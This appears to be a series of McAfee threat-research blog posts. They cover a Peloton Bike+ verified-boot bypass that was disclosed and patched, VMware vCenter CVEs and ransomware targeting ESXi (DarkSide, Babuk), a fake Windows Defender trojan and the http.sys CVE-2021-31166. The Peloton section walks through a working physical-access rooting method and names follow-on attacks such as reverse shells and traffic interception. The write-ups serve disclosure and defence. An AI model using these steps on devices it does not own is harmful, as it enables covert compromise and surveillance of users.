This left us as at a crossroads. We could unlock the bootloader and root the device, granting us access to the flash memory block devices (raw interfaces to the flash partitions) internally, which would allow us to create and restore backups as needed. However, as mentioned before, this would leave the bike in a recognizably “tampered” state. Alternatively, we could try to capture one of the bike’s Over-The-Air (OTA) updates to use as a backup, but we would still need to “unlock” the device to actually flash the OTA image manually. Both options were less than ideal so we kept looking for other solutions.
Just as Secure Boot provides a security mechanism for properly booting the OS on Windows PCs, Android has implemented measures to control the boot process, called Android Verified Boot (AVB). According to Android’s documentation, AVB “requires cryptographically verifying all executable code and data that is part of the Android version being booted before it is used. This includes the kernel (loaded from the boot partition), the device tree (loaded from the dtbo partition), system partition, vendor partition, and so on.”
The Peloton Bike+ ships with the default settings of “Verity Mode” set to true, as well as “Device Unlocked” and “Device Critical Unlocked” set to false, which is intended to prevent the loading of modified boot images and provide a way to determine if the device has been tampered with. This information was verified by running fastboot
oem
device-info
on the Peloton, as demonstrated in Figure 1.
Figure 1: OEM device info showing verity mode and unlocked status.
To clarify, a simplified Android boot process can be visualized as follows:
Figure 2: Simplified Android Boot Process
If modified code is found at any of the stages in Figure 2, the boot process should abort or, if the device is unlocked, warn the user that the images are not verified and give the option to the user to abort the boot.
Given that we defined our scope of this project to not include the Android boot process as a part of our research and verifying that Peloton has attempted to use the security measures provided by Android, we again found ourselves debating if a backup would be possible.
In newer Android releases, including the Peloton, the update method uses Android’s Seamless System Updates (A/B). This update method no longer needs the “recovery” partition, forcing users who wish to use a custom recovery to use the fastboot
boot
command which will download and boot the supplied image. This is a temporary boot that doesn’t “flash“ or alter any of the flash partitions of the device and will revert to the previous boot image on restart. Since this option allows for modified code to be executed, it is only available when the device is in an unlocked state and will error out with a message stating “Please unlock device to enable this command,” if attempted on a locked device.
This is a good security implementation because if this command was always allowed, it would be very similar to the process of booting from a live USB on your PC, where you can login as a root user and have full control over the underlying system and components.
This is where our luck or maybe naïveté worked to our advantage. Driven by our reluctance to unlock the device and our desire to make a backup, we tried to boot a generic TWRP recovery image just to see what would happen. The image ended up leaving us at a black screen, and since each recovery image needs to contain a small kernel with the correct drivers for the display, touch digitizer, and other device–specific hardware, this was to be expected. What we didn’t expect, however, was for it to get past the fastboot
boot
command. While we didn’t get a custom recovery running, it did tell us one thing; the system was not verifying that the device was unlocked before attempting to boot a custom image. Normally this command would be denied on a “locked” device and would have just errored out on the fastboot command, as mentioned previously.
It is also important to point out that despite having booted a modified image, the internal fuse had not been burned. These fuses are usually burned during the OEM unlocking process to identify if a device has allowed for a different “root of trust” to be installed. The burning of such a fuse is a permanent operation and a burnt fuse often indicates that the device has been tampered with. As shown in Figure 3, the “Secure Boot” fuse was still present, and the device was reporting a locked bootloader.
Figure 3: Secure boot enabled with fused protection
This discovery was unexpected and we felt like we had stumbled upon a flaw that gave us the ability to finally take a backup of the device and leave the Peloton in an “untampered” state. Knowing that a custom image could be booted even with a “locked” bootloader, we began looking at ways to gather a valid boot image, which would contain the correct kernel drivers to facilitate a successful boot. If we could piece together the OTA update URL and just download an update package directly from Peloton, it would likely contain a boot image that we could modify. Having the ability to modify a boot image would give us root and access to the blocked devices.
Even with just ADB debugging enabled we were able to pull the Peloton–specific applications from the device. We listed all the Peloton APKs and sought out the ones that could help us get the OTA path, shown in Figure 4.
Figure 4: Listing Peloton Specific Applications and Highlighting the one related to OTA Updates.
Finding the name OTAService promising, we pulled down the APK and began to reverse-engineer it using JADX. After some digging, we discovered how the app was building the download URL string for OTA updates, which would then be passed to beginDownload
()
, as seen in Figure 5.
Figure 5: OTA image path being constructed as “key”
We also noticed quite a few Android log calls that could help us, such as the one right before the call to beginDownload
()
, so we used Android’s built–in logcat command and grepped the output for “OTA” as seen in Figure 6. Doing so, we were able to find which S3 bucket was used for the OTA updates and even a file manifest titled OTAConfig.json.
Figure 6: Relevant OTA logs in red
Combining the information obtained from OTAService.apk and the logs, we were able to piece together the full path to the OTA images manifest file and names for each OTA zip file, as shown in Figure 7.
Figure 7: Contents of OTAConfig.json
Our next step was to extract the contents of the OTA update to get a valid boot.img file that would contain all the specific kernel drivers for the Peloton hardware. Since the Peloton is using Android’s A/B partitions, which facilitate seamless updates, the update packages were stored in a “payload.bin” format. Using the Android payload dumper tool, we were able to extract all of the images contained in the bin file.
Once the boot.img was extracted, we needed a way to modify the initial kernel to allow us to gain root access on the device. Although there are a variety of ways to accomplish this, we decided to keep things simple and just use the Magisk installer to patch the boot.img file to include the “su” binary. With the boot.img patched, we were able to use the fastboot
boot command again but this time passing it our patched boot.img file. Since the Verified Boot process on the Peloton failed to identify the modified boot image as tampered, the OS booted normally with the patched boot.img file. After this process was complete, the Peloton Bike+ was indistinguishable from its “normal” state under visual inspection and the process left no artifacts that would tip off the user that the Pelton had been compromised. But appearances can be deceiving, and in reality the Android OS had now been rooted, allowing us to use the “su” command to become root and perform actions with UID=0, as seen in Figure 8.
Figure 8: Booting modified boot.img and executing whoami as Root
As we just demonstrated, the ability to bypass the Android Verified Boot process can lead to the Android OS being compromised by an attacker with physical access. A worst-case scenario for such an attack vector might involve a malicious agent booting the Peloton with a modified image to gain elevated privileges and then leveraging those privileges to establish a reverse shell, granting the attacker unfettered root access on the bike remotely. Since the attacker never has to unlock the device to boot a modified image, there would be no trace of any access they achieved on the device. This sort of attack could be effectively delivered via the supply chain process. A malicious actor could tamper with the product at any point from construction to warehouse to delivery, installing a backdoor into the Android tablet without any way the end user could know. Another scenario could be that an attacker could simply walk up to one of these devices that is installed in a gym or a fitness room and perform the same attack, gaining root access on these devices for later use. The Pelobuddy interactive map in figure 9 below could help an attacker find public bikes to attack.
Figure 9: pelobuddy.com’s interactive map to help locate public Peloton exercise equipment.
Once an attacker has root, they could make their presence permanent by modifying the OS in a rootkit fashion, removing any need for the attacker to repeat this step. Another risk is that an attacker could modify the system to put themselves in a man-in-the-middle position and sniff all network traffic, even SSL encrypted traffic, using a technique called SSL unpinning, which requires root privileges to hook calls to internal encryption functionality. Intercepting and decrypting network traffic in this fashion could lead to users’ personal data being compromised. Lastly, the Peloton Bike+ also has a camera and a microphone installed. Having remote access with root permissions on the Android tablet would allow an attacker to monitor these devices and is demoed in the impact video below.
Given the simplicity and criticality of the flaw, we decided to disclose to Peloton even as we continue to audit the device for remote vulnerabilities. We sent our vendor disclosure with full details on March 2, 2021 – shortly after, Peloton confirmed the issue and subsequently released a fix for it in software version “PTX14A-290”. The patched image no longer allows for the “boot” command to work on a user build, mitigating this vulnerability entirely. The Peloton vulnerability disclosure process was smooth, and the team were receptive and responsive with all communications. Further conversations with Peloton confirmed that this vulnerability is also present on Peloton Tread exercise equipment; however, the scope of our research was confined to the Bike+.
Peloton’s Head of Global Information Security, Adrian Stone, shared the following “this vulnerability reported by McAfee would require direct, physical access to a Peloton Bike+ or Tread. Like with any connected device in the home, if an attacker is able to gain physical access to it, additional physical controls and safeguards become increasingly important. To keep our Members safe, we acted quickly and in coordination with McAfee. We pushed a mandatory update in early June and every device with the update installed is protected from this issue.”
We are continuing to investigate the Peloton Bike+, so make sure you stay up to date on McAfee’s ATR blogs for any future discoveries.
The post A New Program for Your Peloton – Whether You Like It or Not appeared first on McAfee Blogs.
Virtualization technology has been an IT cornerstone for organization for years now. It revolutionized the way organizations can scale up IT systems in a heartbeat, allowing then to be more agile as opposed to investing into dedicated “bare-metal” hardware. To the outside untrained eye, it might seem that there are different machines on the network, while in fact all the “separate” machines are controlled by a hypervisor server. Virtualization plays such a big role nowadays that it isn’t only used to spin up servers but also anything from virtual applications to virtual user desktops.
This is something cyber criminals have been noticing too and we have seen an increased interest in hypervisors. After all, why attack the single virtual machine when you can go after the hypervisor and control all the machines at once?
In recent months several high impact CVEs regarding virtualization software have been released which allowed for Remote Code Execution (RCE); initial access brokers are offering compromised VMware vCenter servers online, as well as ransomware groups developing specific ransomware binaries for encrypting ESXi servers.
On the 25th of May VMware disclosed a vulnerability impacting VMware vCenter servers allowing for Remote Code Execution on internet accessible vCenter servers, version 6.5,6.7 and 7.0. VMware vCenter is a management tool, used to manage virtual machines and ESXi servers.
CVE-2021-21985 is a remote code execution (RCE) vulnerability in the vSphere Client via the Virtual SAN (vSAN) Health Check plugin. This plugin is enabled by default. The combination of RCE and default enablement of the plugin resulted in this being scored as a critical flaw with a CVSSv3 score of 9.8.
An attacker needs to be able to access vCenter over TCP port 443 to exploit this vulnerability. It doesn’t matter if the vCenter is remotely exposed or when the attacker has internal access.
The same exploit vector is applicable for CVE-2021-21986, which is an authentication mechanism issue in several vCenter Server Plug-ins. It would allow an attacker to run plugin functions without authentication. This leads to the CVE being scored as a ‘moderate severity’, with a CVSSv3 score of 6.5.
While writing this blog, a Proof-of-Concept was discovered that will test if the vulnerability exists; it will not execute the remote-code. The Nmap plugin can be downloaded from this location: https://github.com/alt3kx/CVE-2021-21985_PoC.
Searching with the Shodan search engine, narrowing it down to the TCP 443 port, we observe that close to 82,000 internet accessible ESXi servers are exposed. Zooming in further on the versions that are affected by these vulnerabilities, almost 55,000 publicly accessible ESXi servers are potentially vulnerable to CVE-2021-21985 and CVE-2021-21986, providing remote access to them and making them potential candidates for ransomware attacks, as we will read about in the next paragraphs.
Ransomware groups are always trying to find ways to hit their victims where it hurts. So, it is only logical that they are adapting to attacking virtualization environments and the native Unix/Linux machines running the hypervisors. In the past, ransomware groups were quick to abuse earlier CVEs affecting VMware. But aside from the disclosed CVEs, ransomware groups have also adapted their binaries specifically to encrypt virtual machines and their management environment. Below are some of the ransomware groups we have observed.
Figure 1. Screenshot from the DarkSide ransomware group, explicitly mentioning its Linux-based encryptor and support for ESXi and NAS systems
McAfee Advanced Threat Research (ATR) analyzed the DarkSide Linux binary in our recent blog and we can confirm that a specific routine aimed at virtual machines is present in it.
Figure 2. DarkSide VMware Code routine
From the configuration file of the DarkSide Linux variant, it becomes clear that this variant is solely designed to encrypt virtual machines hosted on an ESXi server. It searches for the disk-files of the VMs, the memory files of the VMs (vmem), swap, logs, etc. – all files that are needed to start a VMware virtual machine.
Demo of Darkside encrypting an ESXi server: https://youtu.be/SMWIckvLMoE
Babuk announced on an underground forum that it was developing a cross-platform binary aimed at Linux/UNIX and ESXi or VMware systems:
Figure 3. Babuk ransomware claiming to have built a Linux-based ransomware binary capable of encrypting ESXi servers
The malware is written in the open-source programming language Golang, most likely because it allows developers to have a single codebase to be compiled into all major operating systems. This means that, thanks to static linking, code written in Golang on a Linux system can run on a Windows or Mac system. That presents a large advantage to ransomware gangs looking to encrypt a whole infrastructure comprised of different systems architecture.
After being dropped on the ESXi server, the malware encrypts all the files on the system:
The malware was designed to target ESXi environments as we guessed, and it was confirmed when the Babuk team returned the decryptor named d_esxi.out. Unfortunately, the decryptor has been developed with some errors, which cause corruption in victim’s files:
Overall, the decryptor is poor as it only checks for the extension “.babyk” which will miss any files the victim has renamed to recover them. Also, the decryptor checks if the file is more than 32 bytes in length as the last 32 bytes are the key that will be calculated later with other hardcoded values to get the final key. This is bad design as those 32 bytes could be trash, instead of the key, as the customer could make things, etc. It does not operate efficiently by checking the paths that are checked in the malware, instead it analyzes everything. Another error we noticed was that the decryptor tries to remove a ransom note name that is NOT the same that the malware creates in each folder. This does not make any sense unless, perhaps, the Babuk developers/operators are delivering a decryptor that works for a different version and/or sample.
The problems with the Babuk decryptor left victims in horrible situations with permanently damaged data. The probability of getting a faulty decryptor isn’t persuading victims to pay up and this might be one of the main reasons that Babuk announced that it will stop encrypting data and only exfiltrate and extort from now on.
It is not only ransomware groups that show an interest in virtual systems; several initial access brokers are also trading access to compromised vCenter/ESXi servers on underground cybercriminal forums. The date and time of the specific offering below overlaps with the disclosure of CVE-2021-21985, but McAfee ATR hasn’t determined if this specific CVE was used to gain access to ESXi servers.
Figure 4. Threat Actor selling access to thousands of vCenter/ESXi servers
Figure 5. Threat actor offering compromised VMware ESXi servers
VMware urges users running VMware vCenter and VMware Cloud Foundation affected by CVE-2021-21985 and CVE-2021-21986 to apply its patch immediately. According to VMware, a malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. The disclosed vulnerabilities have a critical CVSS base score of 9.8.
However, we do understand that VMware infrastructure is often installed on business-critical systems, so any type of patching activity usually has a high degree of impact on IT operations. Hence, the gap between vulnerability disclosure and patching is typically high. With the operating systems on VMware being a closed system they lack the ability to natively install workload protection/detection solutions. Therefore, the defenses should be based on standard cyber hygiene/risk mitigation practices and should be applied in the following order where possible.
Virtualization and its underlying technologies are key in today’s infrastructures. With the release of recently discovered vulnerabilities and an understanding of their criticality, threat actors are shifting focus. Proof can be seen in underground forums where affiliates recruit pentesters with knowledge of specific virtual technologies to develop custom ransomware that is designed to cripple these technologies. Remote Desktop access is the number one access vector in many ransomware cases, followed by edge-devices lacking the latest security updates, making them vulnerable to exploitation. With the latest VMware CVEs mentioned in this blog, we urge you to take the right steps to secure not only internet exposed systems, but also internal systems, to minimize the risk of your organization losing its precious VMs, or gold, to cyber criminals.
Special thanks to Thibault Seret, Mo Cashman, Roy Arnab and Christiaan Beek for their contributions.
The post Are Virtual Machines the New Gold for Cyber Criminals? appeared first on McAfee Blogs.
Browser push notifications can highly resemble Windows system notifications. As recently discussed, scammers are abusing push notifications to trick users into taking action. This recent example demonstrates the social engineering tactics used to trick users into installing a fake Windows Defender update. A toaster popup in the tray informs the user of a Windows Defender Update.
Clicking the message takes the user to a fake update website.
The site serves a signed ms-appinstaller (MSIX) package. When downloaded and run, the user is prompted to install a supposed Defender Update from “Publisher: Microsoft”
After installation, the “Defender Update” App appears in the start menu like other Windows Apps.
The shortcut points to the installed malware: C:\Program Files\WindowsApps\245d1cf3-25fc-4ce1-9a58-7cd13f94923a_1.0.0.0_neutral__7afzw0tp1da5e\bloom\Eversible.exe, which is a data stealing trojan, targeting various applications and information:
The post Scammers Impersonating Windows Defender to Push Malicious Windows Apps appeared first on McAfee Blogs.
Over the past week we have seen a considerable body of work focusing on DarkSide, the ransomware responsible for the recent gas pipeline shutdown. Many of the excellent technical write-ups will detail how it operates an affiliate model that supports others to be involved within the ransomware business model (in addition to the developers). While this may not be a new phenomenon, this model is actively deployed by many groups with great effect. Herein is the crux of the challenge: while the attention may be on DarkSide ransomware, the harsh reality is that equal concern should be placed at Ryuk, or REVIL, or Babuk, or Cuba, etc. These, and other groups and their affiliates, exploit common entry vectors and, in many cases, the tools we see being used to move within an environment are the same. While this technical paper covers DarkSide in more detail, we must stress the importance of implementing best practices in securing/monitoring your network. These additional publications can guide you in doing so:
As mentioned earlier, DarkSide is a Ransomware-as-a-Service (RaaS) that offers high returns for penetration-testers that are willing to provide access to networks and distribute/execute the ransomware. DarkSide is an example of a RaaS whereby they actively invest in development of the code, affiliates, and new features. Alongside their threat to leak data, they have a separate option for recovery companies to negotiate, are willing to engage with the media, and are willing to carry out a Distributed Denial of Service (DDoS) attack against victims. Those victims who do pay a ransom receive an alert from DarkSide on companies that are on the stock exchange who are breached, in return for their payment. Potential legal issues abound, not to mention ethical concerns, but this information could certainly provide an advantage in short selling when the news breaks.
The group behind DarkSide are also particularly active. Using MVISION Insights we can identify the prevalence of targets. This map clearly illustrates that the most targeted geography is clearly the United States (at the time of writing). Further, the sectors primarily targeted are Legal Services, Wholesale, and Manufacturing, followed by the Oil, Gas and Chemical sectors.
McAfee’s market leading EPP solution covers DarkSide ransomware with an array of early prevention and detection techniques.
Customers using MVISION Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.
MVISION EDR includes detections on many of the behaviors used in the attack including privilege escalation, malicious PowerShell and CobaltStrike beacons, and visibility of discovery commands, command and control, and other tactics along the attack chain. We have EDR telemetry indicating early detection before the detonation of the Ransomware payload.
ENS TP provides coverage against known indicators in the latest signature set. Updates on new indicators are pushed through GTI.
ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections.
ENS ATP adds two (2) additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.
For the latest mitigation guidance, please review:
https://kc.mcafee.com/corporate/index?page=content&id=KB93354&locale=en_US
The RaaS platform offers the affiliate the option to build either a Windows or Unix version of the ransomware. Depending on what is needed, we observe that affiliates are using different techniques to circumvent detection, by masquerading the generated Windows binaries of DarkSide. Using several packers or signing the binary with a certificate are some of the techniques used to do so.
As peers in our industry have described, we also observed campaigns where the affiliates and their hacking crew used several ways to gain initial access to their victim’s network.
The configuration of the ransomware contains several options to enable or disable system processes, but also the above part where it states which processes should not be killed.
As mentioned before, a lot of the current Windows samples in the wild are the 1.8 version of DarkSide, others are the 2.1.2.3 version. In a chat one of the actors revealed that a V3 version will be released soon.
On March 23rd, 2021, on XSS, one of the DarkSide spokespersons announced an update of DarkSide as a PowerShell version and a major upgrade of the Linux variant:
In the current samples we observe, we do see the PowerShell component that is used to delete the Volume Shadow copies, for example.
Tools observed:
Before distributing the ransomware around the network using tools like PsExec and PowerShell, data was exfiltrated to Cloud Services that would later be used on the DarkSide Leak page for extortion purposes. Zipping the data, using Rclone or WinSCP are some of the examples observed.
While a lot of good and in-depth analyses are written by our peers, one thing worth noting is that when running DarkSide, the encryption process is fast. It is one of the areas the actors brag about on the same forum and do a comparison to convince affiliates to join their program:
DarkSide, like Babuk ransomware, has a Linux version. Both target *nix systems but in particular VMWare ESXi servers and storage/NAS. Storage/NAS is critical for many companies, but how many of you are running a virtual desktop, hosted on a ESXi server?
Darkside wrote a Linux variant that supports the encryption of ESXI server versions 5.0 – 7.1 as well as NAS technology from Synology. They state that other NAS/backup technologies will be supported soon.
In the code we clearly observe this support:
Also, the configuration of the Linux version shows it is clearly looking for Virtual Disk/memory kind of files:
Although the adversary recently claimed to vote for targets, the attacks are ongoing with packed and signed samples observed as recently as today (May 12, 2021):
Recently the Ransomware Task Force, a partnership McAfee is proud to be a part of, released a detailed paper on how ransomware attacks are occurring and how countermeasures should be taken. As many of us have published, presented on, and released research upon, it is time to act. Please follow the links included within this blog to apply the broader advice about applying available protection and detection in your environment against such attacks.
Data Encrypted for Impact – T1486
Inhibit System Recovery – T1490
Valid Accounts – T1078
PowerShell – T1059.001
Service Execution – T1569.002
Account Manipulation – T1098
Dynamic-link Library Injection – T1055.001
Account Discovery – T1087
Bypass User Access Control – T1548.002
File Permissions Modification – T1222
System Information Discovery – T1082
Process Discovery – T1057
Screen Capture – T1113
Compile After Delivery – T1027.004
Credentials in Registry – T1552.002
Obfuscated Files or Information – T1027
Shared Modules – T1129
Windows Management Instrumentation – T1047
Exploit Public-Facing Application – T1190
Phishing – T1566
External Remote Services – T1133
Multi-hop Proxy – T1090.003
Exploitation for Privilege Escalation – T1068
Application Layer Protocol – T1071
Bypass User Account Control – T1548.002
Commonly Used Port – T1043
Compile After Delivery – T1500
Credentials from Password Stores – T1555
Credentials from Web Browsers – T1555.003
Credentials in Registry – T1214
Deobfuscate/Decode Files or Information – T1140
Disable or Modify Tools – T1562.001
Domain Account – T1087.002
Domain Groups – T1069.002
Domain Trust Discovery – T1482
Exfiltration Over Alternative Protocol – T1048
Exfiltration to Cloud Storage – T1567.002
File and Directory Discovery – T1083
Gather Victim Network Information – T1590
Ingress Tool Transfer – T1105
Linux and Mac File and Directory Permissions Modification – T1222.002
Masquerading – T1036
Process Injection – T1055
Remote System Discovery – T1018
Scheduled Task/Job – T1053
Service Stop – T1489
System Network Configuration Discovery – T1016
System Services – T1569
Taint Shared Content – T1080
Unix Shell – T1059.004
The post DarkSide Ransomware Victims Sold Short appeared first on McAfee Blogs.
Today, Microsoft released a highly critical vulnerability (CVE-2021-31166) in its web server http.sys. This product is a Windows-only HTTP server which can be run standalone or in conjunction with IIS (Internet Information Services) and is used to broker internet traffic via HTTP network requests. The vulnerability is very similar to CVE-2015-1635, another Microsoft vulnerability in the HTTP network stack reported in 2015.
With a CVSS score of 9.8, the vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated denial-of-service (Blue Screen of Death) for affected products.
The issue is due to Windows improperly tracking pointers while processing objects in network packets containing HTTP requests. As HTTP.SYS is implemented as a kernel driver, exploitation of this bug will result in at least a Blue Screen of Death (BSoD), and in the worst-case scenario, remote code execution, which could be wormable. While this vulnerability is exceptional in terms of potential impact and ease of exploitation, it remains to be seen whether effective code execution will be achieved. Furthermore, this vulnerability only affects the latest versions of Windows 10 and Windows Server (2004 and 20H2), meaning that the exposure for internet-facing enterprise servers is fairly limited, as many of these systems run Long Term Servicing Channel (LTSC) versions, such as Windows Server 2016 and 2019, which are not susceptible to this flaw.
At the time of this writing, we are unaware of any “in-the-wild” exploitation for CVE-2021-31166 but will continue to monitor the threat landscape and provide relevant updates. We urge Windows users to apply the patch immediately wherever possible, giving special attention to externally facing devices that could be compromised from the internet. For those who are unable to apply Microsoft’s update, we are providing a “virtual patch” in the form of a network IPS signature that can be used to detect and prevent exploitation attempts for this vulnerability.
McAfee Network Security Platform (NSP) Protection
Sigset Version: 10.8.21.2
Attack ID: 0x4528f000
Attack Name: HTTP: Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability (CVE-2021-31166)
McAfee Knowledge Base Article KB94510:
https://kc.mcafee.com/corporate/index?page=content&id=KB94510
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